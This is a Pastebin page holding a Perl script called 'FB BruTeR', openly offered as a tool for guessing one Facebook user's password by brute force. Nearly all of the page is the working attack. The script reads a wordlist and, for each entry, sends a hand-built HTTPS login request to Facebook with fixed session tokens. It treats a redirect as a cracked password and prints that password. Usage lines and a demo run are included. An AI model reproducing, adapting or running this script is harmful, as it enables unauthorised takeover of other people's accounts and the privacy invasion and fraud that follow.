Guest User

Untitled

a guest
Sep 12th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.81 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Tool: FB BruTeR
  4. # Author: SpyneT
  5. # Contact: hackers.007.07@gmail.com
  6. # Code date: 22/11/2014
  7. #
  8. #
  9. # Description:
  10. # FB Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
  11. #
  12. # Usage:
  13. # perl FB-Brute.pl login wordlist
  14. # login could be either a user's email address or profile name
  15. #
  16. # Module Requirements:
  17. #
  18. # Install module if missing:
  19. # perl -MCPAN -e 'install Net::SSLeay'
  20. #
  21. # Demo:
  22. # perl FB-Brute.pl Facebooklogin@facebook.com wordlist.lst
  23. #
  24. # --- SpyneT-Bruter Facebook password cracking tool ツ
  25. # --- By SpyneT ツ
  26. # --- www.facebook.com/SpyneT.Officielll ツ
  27. #
  28. # [+] Cracking Facebooklogin@facebook.com ...
  29. #
  30. # [-] test -> Failed
  31. # [-] test123 -> Failed
  32. # [-] testtest -> Failed
  33. # [-] testest123 -> Failed
  34. # [-] qwerty -> Failed
  35. # [-] azerty -> Failed
  36. # [-] password -> Failed
  37. # [-] password123 -> Failed
  38. #
  39. ########################################################
  40. # [+] CRACKED! Your password is P@$$W0RD
  41. ########################################################
  42. #
  43.  
  44. use strict;
  45. use Net::SSLeay::Handle;
  46.  
  47. if(!defined($ARGV[0] && $ARGV[1])) {
  48.  
  49. system('clear');
  50. print "\n┏━━━┳━━┓╋╋╋┏━━┓╋╋╋╋╋┏┓
  51. ┃┏━━┫┏┓┃╋╋╋┃┏┓┃╋╋╋╋┏┛┗┓
  52. ┃┗━━┫┗┛┗┓╋╋┃┗┛┗┳━┳┓┣┓┏╋━━┓
  53. ┃┏━━┫┏━┓┣━━┫┏━┓┃┏┫┃┃┃┃┃┃━┫
  54. ┃┃╋╋┃┗━┛┣━━┫┗━┛┃┃┃┗┛┃┗┫┃━┫
  55. ┗┛╋╋┗━━━┛╋╋┗━━━┻┛┗━━┻━┻━━┛\n";
  56. print "+++▲ Coded by SpyneT ▲\n";
  57. print "+++▲ www.fb.com/SpyneT.Officielll ▲\n\n";
  58. print "+++✎ Usage: perl $0 login wordlist\n\n";
  59. exit; }
  60.  
  61. my $user = $ARGV[0];
  62. my $wordlist = $ARGV[1];
  63.  
  64. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  65.  
  66. print "\n+++ SpyneT-BruTe Facebook password Bruter ツ\n";
  67. print "+++ Coded by SpyneT ツ\n";
  68. print "+++ www.fb.com/SpyneT.Officielll ツ\n";
  69. print "\n[+] Now Cracking $user ...\n\n";
  70.  
  71. while (my $password = <LIST>) {
  72. chomp ($password);
  73. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  74.  
  75. my $a = "POST /login.php HTTP/1.1";
  76. my $b = "Host: www.facebook.com";
  77. my $c = "Connection: close";
  78. my $e = "Cache-Control: max-age=0";
  79. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  80. my $g = "Origin: https://www.facebook.com";
  81. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  82. my $i = "Content-Type: application/x-www-form-urlencoded";
  83. my $j = "Accept-Encoding: gzip,deflate,sdch";
  84. my $k = "Accept-Language: en-US,en;q=0.8";
  85. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  86.  
  87. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  88. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  89. my $cl = length($post);
  90. my $d = "Content-Length: $cl";
  91.  
  92.  
  93. my ($host, $port) = ("www.facebook.com", 443);
  94.  
  95. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  96.  
  97.  
  98. print SSL "$a\n";
  99. print SSL "$b\n";
  100. print SSL "$c\n";
  101. print SSL "$d\n";
  102. print SSL "$e\n";
  103. print SSL "$f\n";
  104. print SSL "$g\n";
  105. print SSL "$h\n";
  106. print SSL "$i\n";
  107. print SSL "$j\n";
  108. print SSL "$k\n";
  109. print SSL "$l\n";
  110. print SSL "$cookie\n\n";
  111.  
  112. print SSL "$post\n";
  113.  
  114. my $success;
  115. while(my $result = <SSL>){
  116. if($result =~ /Location(.*?)/){
  117. $success = $1;
  118. }
  119. }
  120. if (!defined $success)
  121. {
  122. print "[-] $password -> Not Him :( \n";
  123. close SSL;
  124. }
  125. else
  126. {
  127. print "\n########################################################\n";
  128. print "[+] Yuuup!! Pass Cracked => Pass is $password :D\n";
  129. print "########################################################\n\n";
  130. close SSL;
  131. exit;
  132. }
  133. }
Add Comment
Please, Sign In to add comment